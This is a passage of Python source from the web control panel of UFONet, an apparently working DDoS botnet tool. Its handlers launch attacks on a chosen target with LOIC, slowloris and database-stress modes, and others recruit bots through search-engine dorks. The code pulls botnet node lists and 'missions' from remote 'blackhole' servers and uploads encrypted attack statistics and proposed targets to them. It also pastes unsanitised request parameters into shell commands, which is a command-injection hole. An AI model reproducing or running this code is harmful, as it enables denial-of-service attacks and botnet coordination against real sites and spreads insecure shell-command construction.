  1990. if not os.path.exists('/tmp/out'):
  1991. open('/tmp/out', 'w').close()
  1992. with open('/tmp/out', 'r') as f:
  1993. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  1994. if page == "/cmd_test_offline_update":
  1995. if not os.path.exists('/tmp/out'):
  1996. open('/tmp/out', 'w').close()
  1997. with open('/tmp/out', 'r') as f:
  1998. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  1999. if page == "/cmd_test_rpcs":
  2000. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  2001. runcmd = "(python -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  2002. if page == "/cmd_test_rpcs_update":
  2003. if not os.path.exists('/tmp/out'):
  2004. open('/tmp/out', 'w').close()
  2005. with open('/tmp/out', 'r') as f:
  2006. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  2007. if page == "/cmd_attack":
  2008. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  2009. if pGet["dbstress"]: # Set db stress input point
  2010. if pGet["loic"]: # Set LOIC
  2011. if pGet["loris"]: # Set LORIS
  2012. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ " --slow '"+pGet["loris"]+"' "+cmd_options + "|tee /tmp/out) &"
  2013. else:
  2014. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ cmd_options + "|tee /tmp/out) &"
  2015. else:
  2016. if pGet["loris"]:
  2017. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --slow '"+pGet["loris"]+"' "+cmd_options + "|tee /tmp/out) &"
  2018. else:
  2019. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ cmd_options + "|tee /tmp/out) &"
  2020. else:
  2021. if pGet["loic"]:
  2022. if pGet["loris"]:
  2023. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --loic '"+pGet["loic"]+"' "+ " --slow '"+pGet["loris"]+"' "+cmd_options + "|tee /tmp/out) &"
  2024. else:
  2025. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --loic '"+pGet["loic"]+"' "+ cmd_options + "|tee /tmp/out) &"
  2026. else:
  2027. if pGet["loris"]:
  2028. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --slow '"+pGet["loris"]+"' "+cmd_options + "|tee /tmp/out) &"
  2029. else: # Normal attack
  2030. runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "+cmd_options + "|tee /tmp/out) &"
  2031. if page == "/cmd_attack_update":
  2032. if not os.path.exists('/tmp/out'):
  2033. open('/tmp/out', 'w').close()
  2034. with open('/tmp/out', 'r') as f:
  2035. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  2036. if page == "/cmd_inspect":
  2037. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  2038. target = pGet["target"]
  2039. target=urllib.unquote(target).decode('utf8')
  2040. runcmd = "(python -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2041. if page == "/cmd_inspect_update":
  2042. if not os.path.exists('/tmp/out'):
  2043. open('/tmp/out', 'w').close()
  2044. with open('/tmp/out', 'r') as f:
  2045. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  2046. if page == "/cmd_abduction":
  2047. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  2048. target = pGet["target"]
  2049. target=urllib.unquote(target).decode('utf8')
  2050. runcmd = "(python -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2051. if page == "/cmd_abduction_update":
  2052. if not os.path.exists('/tmp/out'):
  2053. open('/tmp/out', 'w').close()
  2054. with open('/tmp/out', 'r') as f:
  2055. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  2056. if page == "/cmd_search":
  2057. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  2058. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  2059. if pGet["all_engines"] == "on": # search using all search engines
  2060. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  2061. else: # search using a search engine
  2062. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2063. else: # search using a pattern
  2064. if pGet["autosearch"] == "on": # search using auto-search mod
  2065. runcmd = "(python -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  2066. else:
  2067. if pGet["all_engines"] == "on": # search using all search engines
  2068. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  2069. else: # search using a search engine
  2070. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2071. if page == "/cmd_search_update":
  2072. if not os.path.exists('/tmp/out'):
  2073. open('/tmp/out', 'w').close()
  2074. with open('/tmp/out', 'r') as f:
  2075. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  2076. if page == "/cmd_refresh_blackholes":
  2077. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2078. blackhole_ip = pGet["blackholes_source"]
  2079. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2080. try:
  2081. blackholes = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read()
  2082. f = open(self.blackholes, "w") # write updates to nodes.dat
  2083. f.write(str(blackholes))
  2084. f.close()
  2085. self.blackholes_text = blackholes
  2086. except:
  2087. blackholes = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
  2088. end_mark = "\n[Mothership/Info] End of blackholes list (nodes.dat)..."
  2089. f = open("/tmp/out", "w")
  2090. f.write(str(blackholes))
  2091. f.write(end_mark)
  2092. f.close()
  2093. if page == "/cmd_refresh_blackholes_update":
  2094. if not os.path.exists('/tmp/out'):
  2095. open('/tmp/out', 'w').close()
  2096. with open('/tmp/out', 'r') as f:
  2097. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  2098. if page == "/cmd_refresh_news":
  2099. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2100. blackhole_ip = pGet["news_source"]
  2101. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2102. try:
  2103. news = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read()
  2104. f = open(self.news, "w") # write updates to news.txt
  2105. f.write(str(news))
  2106. f.close()
  2107. self.news_text = news
  2108. except:
  2109. news = "[Mothership/Error] Something wrong downloading. Try it again or using another source....\n"
  2110. end_mark = "\n[Mothership/Info] End of news feed..."
  2111. f = open("/tmp/out", "w")
  2112. f.write(str(news))
  2113. f.write(end_mark)
  2114. f.close()
  2115. if page == "/cmd_refresh_news_update":
  2116. if not os.path.exists('/tmp/out'):
  2117. open('/tmp/out', 'w').close()
  2118. with open('/tmp/out', 'r') as f:
  2119. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  2120. if page == "/cmd_sync_wargames":
  2121. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2122. blackhole_ip = pGet["wargames_source"]
  2123. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2124. try:
  2125. wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read()
  2126. f = open(self.wargames_file, "w") # write updates to wargames.txt
  2127. f.write(str(wargames))
  2128. f.close()
  2129. self.wargames_text = wargames
  2130. except:
  2131. wargames = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
  2132. end_mark = "\n[Mothership/Info] End of transmission. Refresh wargames room..."
  2133. f = open("/tmp/out", "w")
  2134. f.write(str(wargames))
  2135. f.write(end_mark)
  2136. f.close()
  2137. if page == "/cmd_sync_wargames_update":
  2138. if not os.path.exists('/tmp/out'):
  2139. open('/tmp/out', 'w').close()
  2140. with open('/tmp/out', 'r') as f:
  2141. stream = f.read()
  2142. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2143. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  2144. if page == "/cmd_refresh_missions":
  2145. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2146. blackhole_ip = pGet["missions_source"]
  2147. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2148. try:
  2149. missions = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read()
  2150. f = open(self.missions, "w") # write updates to missions.txt
  2151. f.write(str(missions))
  2152. f.close()
  2153. self.missions_text = missions
  2154. except:
  2155. missions = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
  2156. end_mark = "\n[Mothership/Info] End of missions..."
  2157. f = open("/tmp/out", "w")
  2158. f.write(str(missions))
  2159. f.write(end_mark)
  2160. f.close()
  2161. if page == "/cmd_refresh_missions_update":
  2162. if not os.path.exists('/tmp/out'):
  2163. open('/tmp/out', 'w').close()
  2164. with open('/tmp/out', 'r') as f:
  2165. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  2166. if page == "/cmd_sync_grid":
  2167. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2168. blackhole_ip = pGet["grid_source"]
  2169. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2170. try:
  2171. grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read()
  2172. f = open(self.grid_file, "w") # write updates to grid.txt
  2173. f.write(str(grid))
  2174. f.close()
  2175. self.grid_text = grid
  2176. except:
  2177. grid = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
  2178. end_mark = "\n[Mothership/Info] End of transmission. Refresh your grid..."
  2179. f = open("/tmp/out", "w")
  2180. f.write(str(grid))
  2181. f.write(end_mark)
  2182. f.close()
  2183. if page == "/cmd_sync_grid_update":
  2184. if not os.path.exists('/tmp/out'):
  2185. open('/tmp/out', 'w').close()
  2186. with open('/tmp/out', 'r') as f:
  2187. stream = f.read()
  2188. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2189. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  2190. if page == "/cmd_transfer_grid":
  2191. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  2192. blackhole_ip = pGet["grid_source"]
  2193. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2194. try:
  2195. grid_key = pGet["grid_key"]
  2196. except:
  2197. grid_key = ""
  2198. end_mark = "\n[Mothership/Info] End of transmission. Refresh your grid..."
  2199. if grid_key is not "": # stream creation + encryption + package send
  2200. try:
  2201. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  2202. grid_data = json.load(grid_json_file)
  2203. grid_json_file.close()
  2204. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  2205. stats_data = json.load(stats_json_file)
  2206. stats_json_file.close()
  2207. nickname = grid_data["grid_nick"].encode('utf-8')
  2208. self.encrypt(grid_key, nickname)
  2209. if self.encryptedtext:
  2210. nickname = self.encryptedtext
  2211. self.encryptedtext = "" # clean encryptedtext buffer
  2212. ranking = self.ranking
  2213. if ranking == "Rookie":
  2214. ranking = 1
  2215. elif ranking == "Mercenary":
  2216. ranking = 2
  2217. elif ranking == "Bandit":
  2218. ranking = 3
  2219. elif ranking == "UFOmmander!":
  2220. ranking = 4
  2221. else:
  2222. ranking = 1
  2223. self.encrypt(grid_key, str(ranking))
  2224. if self.encryptedtext:
  2225. ranking = self.encryptedtext
  2226. self.encryptedtext = "" # clean encryptedtext buffer
  2227. chargo = self.total_botnet
  2228. self.encrypt(grid_key, str(chargo))
  2229. if self.encryptedtext:
  2230. chargo = self.encryptedtext
  2231. self.encryptedtext = "" # clean encryptedtext buffer
  2232. dorking = stats_data["scanner"]
  2233. self.encrypt(grid_key, str(dorking))
  2234. if self.encryptedtext:
  2235. dorking = self.encryptedtext
  2236. self.encryptedtext = "" # clean encryptedtext buffer
  2237. transferred = stats_data["transferred"]
  2238. self.encrypt(grid_key, str(transferred))
  2239. if self.encryptedtext:
  2240. transferred = self.encryptedtext
  2241. self.encryptedtext = "" # clean encryptedtext buffer
  2242. max_chargo = stats_data["max_chargo"]
  2243. self.encrypt(grid_key, str(max_chargo))
  2244. if self.encryptedtext:
  2245. max_chargo = self.encryptedtext
  2246. self.encryptedtext = "" # clean encryptedtext buffer
  2247. missions = stats_data["missions"]
  2248. self.encrypt(grid_key, str(missions))
  2249. if self.encryptedtext:
  2250. missions = self.encryptedtext
  2251. self.encryptedtext = "" # clean encryptedtext buffer
  2252. attacks = stats_data["completed"]
  2253. self.encrypt(grid_key, str(attacks))
  2254. if self.encryptedtext:
  2255. attacks = self.encryptedtext
  2256. self.encryptedtext = "" # clean encryptedtext buffer
  2257. loic = stats_data["loic"]
  2258. self.encrypt(grid_key, str(loic))
  2259. if self.encryptedtext:
  2260. loic = self.encryptedtext
  2261. self.encryptedtext = "" # clean encryptedtext buffer
  2262. loris = stats_data["loris"]
  2263. self.encrypt(grid_key, str(loris))
  2264. if self.encryptedtext:
  2265. loris = self.encryptedtext
  2266. self.encryptedtext = "" # clean encryptedtext buffer
  2267. contact = grid_data["grid_contact"].encode('utf-8')
  2268. self.encrypt(grid_key, str(contact))
  2269. if self.encryptedtext:
  2270. contact = self.encryptedtext
  2271. self.encryptedtext = "" # clean encryptedtext buffer
  2272. id = grid_data["grid_token"] # plain text
  2273. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  2274. try:
  2275. host = blackhole_ip
  2276. cport = 9992 # port used by mothership grider (server side script)
  2277. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2278. gs.settimeout(5.0)
  2279. gs.connect((host, cport))
  2280. gs.send(stream)
  2281. gs.close()
  2282. try: # download latest grid after submit
  2283. grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read()
  2284. f = open(self.grid_file, "w") # write updates to grid.txt
  2285. f.write(str(grid))
  2286. f.close()
  2287. except:
  2288. pass
  2289. grid_trans = "[Mothership/Info] Congratulations. Statistics successfully transferred...\n"
  2290. except:
  2291. grid_trans = "[Mothership/Error] Something wrong when uploading statistics to this grid. Try it again...\n"
  2292. except:
  2293. grid_trans = "[Mothership/Error] Something wrong when uploading statistics to this grid. Try it again...\n"
  2294. end_mark = "\n[Mothership/Info] End of transmission. Refresh your grid..."
  2295. f = open("/tmp/out", "w")
  2296. f.write(grid_trans)
  2297. f.write(end_mark)
  2298. f.close()
  2299. if page == "/cmd_transfer_grid_update":
  2300. if not os.path.exists('/tmp/out'):
  2301. open('/tmp/out', 'w').close()
  2302. with open('/tmp/out', 'r') as f:
  2303. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  2304. if page == "/cmd_transfer_wargame":
  2305. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  2306. blackhole_ip = pGet["wargames_source2"]
  2307. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2308. try:
  2309. wargames_enckey = pGet["wargames_enckey"]
  2310. except:
  2311. wargames_enckey = ""
  2312. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  2313. wargames_target = pGet["wargames_target"]
  2314. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  2315. t = urlparse(str(wargames_target))
  2316. wargames_target = t.netloc
  2317. else:
  2318. wargames_trans = "[Mothership/Error] Proposed target is not using a correct format!. Try it again...\n"
  2319. wargames_enckey = ""
  2320. wargames_estimated = pGet["wargames_estimated"]
  2321. try:
  2322. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  2323. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  2324. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  2325. wargames_trans = "[Mothership/Error] Estimated time should be major than creation time. Try it again...\n"
  2326. wargames_enckey = ""
  2327. except:
  2328. wargames_trans = "[Mothership/Error] Estimated time is not using a correct format!. Try it again...\n"
  2329. wargames_enckey = ""
  2330. end_mark = "\n[Mothership/Info] End of transmission. Refresh wargames room..."
  2331. if wargames_enckey is not "": # stream creation + encryption + package send
  2332. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  2333. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  2334. try:
  2335. self.encrypt(wargames_enckey, wargames_creation)
  2336. if self.encryptedtext:
  2337. wargames_creation = self.encryptedtext
  2338. self.encryptedtext = "" # clean encryptedtext buffer
  2339. self.encrypt(wargames_enckey, wargames_target)
  2340. if self.encryptedtext:
  2341. wargames_target = self.encryptedtext
  2342. self.encryptedtext = "" # clean encryptedtext buffer
  2343. self.encrypt(wargames_enckey, wargames_estimated)
  2344. if self.encryptedtext:
  2345. wargames_estimated = self.encryptedtext
  2346. self.encryptedtext = "" # clean encryptedtext buffer
  2347. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  2348. try:
  2349. host = blackhole_ip
  2350. cport = 9992 # port used by mothership grider (server side script)
  2351. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2352. gs.settimeout(5.0)
  2353. gs.connect((host, cport))
  2354. gs.send(stream)
  2355. gs.close()
  2356. try: # download latest wargames after submit
  2357. wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read()
  2358. f = open(self.wargames_file, "w") # write updates to wargames.txt
  2359. f.write(str(wargames))
  2360. f.close()
  2361. except:
  2362. pass
  2363. wargames_trans = "[Mothership/Info] Congratulations. Wargame successfully transferred...\n"
  2364. except:
  2365. wargames_trans = "[Mothership/Error] Something wrong when uploading wargame. Try it again...\n"
  2366. except:
  2367. wargames_trans = "[Mothership/Error] Something wrong when uploading wargame. Try it again...\n"
  2368. end_mark = "\n[Mothership/Info] End of transmission. Refresh wargames room..."
  2369. f = open("/tmp/out", "w")
  2370. f.write(wargames_trans)
  2371. f.write(end_mark)
  2372. f.close()
  2373. if page == "/cmd_transfer_wargame_update":
  2374. if not os.path.exists('/tmp/out'):
  2375. open('/tmp/out', 'w').close()
  2376. with open('/tmp/out', 'r') as f:
  2377. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  2378. if page == "/cmd_sync_board":
  2379. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2380. blackhole_ip = pGet["board_source"]
  2381. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2382. try:
  2383. board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read()
  2384. f = open(self.board_file, "w") # write updates to board.txt
  2385. f.write(str(board))
  2386. f.close()
  2387. self.board_text = board
  2388. except:
  2389. board = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
  2390. end_mark = "\n[Mothership/Info] End of transmission. Refresh your board..."
  2391. f = open("/tmp/out", "w")
  2392. f.write(str(board))
  2393. f.write(end_mark)
  2394. f.close()
  2395. if page == "/cmd_sync_board_update":
  2396. if not os.path.exists('/tmp/out'):
  2397. open('/tmp/out', 'w').close()
  2398. with open('/tmp/out', 'r') as f:
  2399. stream = f.read()
  2400. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2401. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  2402. if page == "/cmd_send_message_board":
  2403. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  2404. blackhole_ip = pGet["board_source"]
  2405. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2406. try:
  2407. board_key = pGet["board_key"]
  2408. except:
  2409. board_key = ""
  2410. try:
  2411. board_topic = pGet["board_topic"]
  2412. except:
  2413. board_topic = ""
  2414. try:
  2415. board_message = pGet["stream_txt"]
  2416. except:
  2417. board_message = ""
  2418. end_mark = "\n[Mothership/Info] End of transmission. Refresh your board..."
  2419. if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  2420. try:
  2421. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  2422. board_data = json.load(board_json_file)
  2423. board_json_file.close()
  2424. board_nickname = board_data["profile_nick"]
  2425. self.encrypt(board_key, board_nickname)
  2426. if self.encryptedtext:
  2427. board_nickname = self.encryptedtext
  2428. self.encryptedtext = "" # clean encryptedtext buffer
  2429. board_icon = board_data["profile_icon"]
  2430. board_icon = board_icon.replace("link", "") # keep just icon number
  2431. board_id = board_data["profile_token"]
  2432. self.encrypt(board_key, board_message)
  2433. if self.encryptedtext:
  2434. board_message = self.encryptedtext
  2435. self.encryptedtext = "" # clean encryptedtext buffer
  2436. if board_topic == "general":
  2437. board_topic = 1
  2438. elif board_topic == "opsec":
  2439. board_topic = 2
  2440. elif board_topic == "faq":
  2441. board_topic = 3
  2442. elif board_topic == "bugs":
  2443. board_topic = 4
  2444. elif board_topic == "media":
  2445. board_topic = 5
  2446. else:
  2447. board_topic = 1
  2448. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  2449. try:
  2450. host = blackhole_ip
  2451. cport = 9992 # port used by mothership grider (server side script)
  2452. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2453. gs.settimeout(5.0)
  2454. gs.connect((host, cport))
  2455. gs.send(stream)
  2456. gs.close()
  2457. try: # download latest board after submit
  2458. board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read()
  2459. f = open(self.board_file, "w") # write updates to board.txt
  2460. f.write(str(board))
  2461. f.close()
  2462. except:
  2463. pass
  2464. board_trans = "[Mothership/Info] Congratulations. The message has been sent successfully...\n"
  2465. except:
  2466. board_trans = "[Mothership/Error] Something wrong sending your message to the board. Try it again...\n"
  2467. except:
  2468. board_trans = "[Mothership/Error] Something wrong sending your message to the board. Try it again...\n"
  2469. f = open("/tmp/out", "w")
  2470. f.write(board_trans)
  2471. f.write(end_mark)
  2472. f.close()
  2473. if page == "/cmd_send_message_board_update":
  2474. if not os.path.exists('/tmp/out'):
  2475. open('/tmp/out', 'w').close()
  2476. with open('/tmp/out', 'r') as f:
  2477. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  2478. if page == "/cmd_decrypt":
  2479. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  2480. try:
  2481. news_key = pGet["news_key"]
  2482. except:
  2483. news_key = ""
  2484. try:
  2485. missions_key = pGet["missions_key"]
  2486. except:
  2487. missions_key = ""
  2488. end_mark = "\n[Mothership/Info] End of decryption."
  2489. if news_key is not "": # news decryption
  2490. self.decrypted_news = []
  2491. nodec_text = "*** [This message cannot be solved with that key...]"
  2492. news_key = pGet["news_key"]
  2493. for news_text in self.list_news:
  2494. self.decrypt(news_key, news_text)
  2495. if self.decryptedtext:
  2496. self.decrypted_news.append(self.decryptedtext)
  2497. else:
  2498. self.decrypted_news.append(nodec_text)
  2499. self.decryptedtext = "" # clean decryptedtext buffer
  2500. f = open("/tmp/out", "w")
  2501. num_news = 0 # news counter
  2502. for m in self.decrypted_news:
  2503. num_news = num_news + 1
  2504. f.write("["+str(num_news)+"] " + str(m)+"\n")
  2505. f.write(end_mark)
  2506. f.close()
  2507. else:
  2508. if missions_key is not "": # missions decryption
  2509. self.decrypted_missions = []
  2510. nodec_text = "*** [This message cannot be solved with that key...]"
  2511. missions_key = pGet["missions_key"]
  2512. for missions_text in self.list_missions:
  2513. self.decrypt(missions_key, missions_text)
  2514. if self.decryptedtext:
  2515. self.decrypted_missions.append(self.decryptedtext)
  2516. else:
  2517. self.decrypted_missions.append(nodec_text)
  2518. self.decryptedtext = "" # clean decryptedtext buffer
  2519. f = open("/tmp/out", "w")
  2520. num_mission = 0 # missions counter
  2521. for m in self.decrypted_missions:
  2522. num_mission = num_mission + 1
  2523. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  2524. f.write(end_mark)
  2525. f.close()
  2526. else: # blackholes (nodes.dat) decryption + data showing
  2527. self.decrypted_blackholes = []
  2528. nodec_text = "*** [This message cannot be solved with that key...]"
  2529. blackhole_key = pGet["blackhole_key"]
  2530. for blackholes_text in self.list_blackholes:
  2531. self.decrypt(blackhole_key, blackholes_text)
  2532. if self.decryptedtext:
  2533. self.decrypted_blackholes.append(self.decryptedtext)
  2534. else:
  2535. self.decrypted_blackholes.append(nodec_text)
  2536. self.decryptedtext = "" # clean decryptedtext buffer
  2537. f = open("/tmp/out", "w")
  2538. num_blackholes = 0 # blackholes counter
  2539. for b in self.decrypted_blackholes:
  2540. num_blackholes = num_blackholes + 1
  2541. if blackhole_sep in b: # IP | Mode | Comment | Actions
  2542. s = b.rsplit(blackhole_sep, 1)[0]
  2543. ip = str(s.rsplit(blackhole_sep, 1)[0])
  2544. mode = str(s.rsplit(blackhole_sep, 1)[1])
  2545. if mode == "D": # Download only mode
  2546. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  2547. elif mode == "U": # Upload only mode
  2548. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  2549. else: # Upload/Download mode
  2550. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  2551. comment = str(b.rsplit(blackhole_sep, 1)[1])
  2552. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  2553. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  2554. else:
  2555. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  2556. f.write(end_mark)
  2557. f.close()
  2558. if page == "/cmd_decrypt_update":
  2559. if not os.path.exists('/tmp/out'):
  2560. open('/tmp/out', 'w').close()
  2561. with open('/tmp/out', 'r') as f:
  2562. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  2563. if page == "/news":
  2564. self.pages["/news"] = self.html_news()
  2565. if page == "/missions":
  2566. self.pages["/missions"] = self.html_missions()
  2567. if page == "/board":
  2568. self.pages["/board"] = self.html_board()
  2569. if page == "/grid":
  2570. self.pages["/grid"] = self.html_grid()
  2571. if page == "/wargames":
  2572. self.pages["/wargames"] = self.html_wargames()
  2573. if page == "/grid_profile":
  2574. if pGet=={}:
  2575. self.pages["/grid_profile"] = self.html_grid_profile()
  2576. else:
  2577. self.save_grid(pGet)
  2578. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  2579. if page == "/board_profile":
  2580. if pGet =={}:
  2581. self.pages["/board_profile"] = self.html_board_profile()
  2582. else:
  2583. self.save_profile(pGet)
  2584. self.pages["/board_profile"] = self.html_board_profile_submit()
  2585. if page == "/board_remove":
  2586. self.pages["/board_remove"] = self.html_board_remove()
  2587. if page == "/grid_remove":
  2588. self.pages["/grid_remove"] = self.html_grid_remove()
  2589. if page == "/cmd_decrypt_moderator_board":
  2590. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  2591. try:
  2592. board_key = pGet["board_key"]
  2593. except:
  2594. board_key = ""
  2595. try:
  2596. filter = pGet["filter"]
  2597. except:
  2598. filter = ""
  2599. end_mark = "\n[Mothership/Info] End of decryption."
  2600. if board_key is not "": # board decryption
  2601. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  2602. f = open("/tmp/out", "w")
  2603. for m in self.list_moderator: # msg = topic | icon | nick | id | comment
  2604. if board_msg_sep in m:
  2605. m = m.split(board_msg_sep)
  2606. topic = m[0] # topic
  2607. t = m[1] # icon
  2608. n = m[2] # nick
  2609. g = m[3] # id
  2610. l = m[4] # comment
  2611. if topic == "1":
  2612. topic = "/GENERAL"
  2613. elif topic == "2":
  2614. topic = "/#OPSEC "
  2615. elif topic == "3":
  2616. topic = "/FAQ "
  2617. elif topic == "4":
  2618. topic = "/BUGS "
  2619. elif topic == "5":
  2620. topic = "/MEDIA "
  2621. else:
  2622. topic = "/BUGS[!]"
  2623. icon = "<img src='/images/crew/link"+str(t)+".png'>"
  2624. nick = str(n)
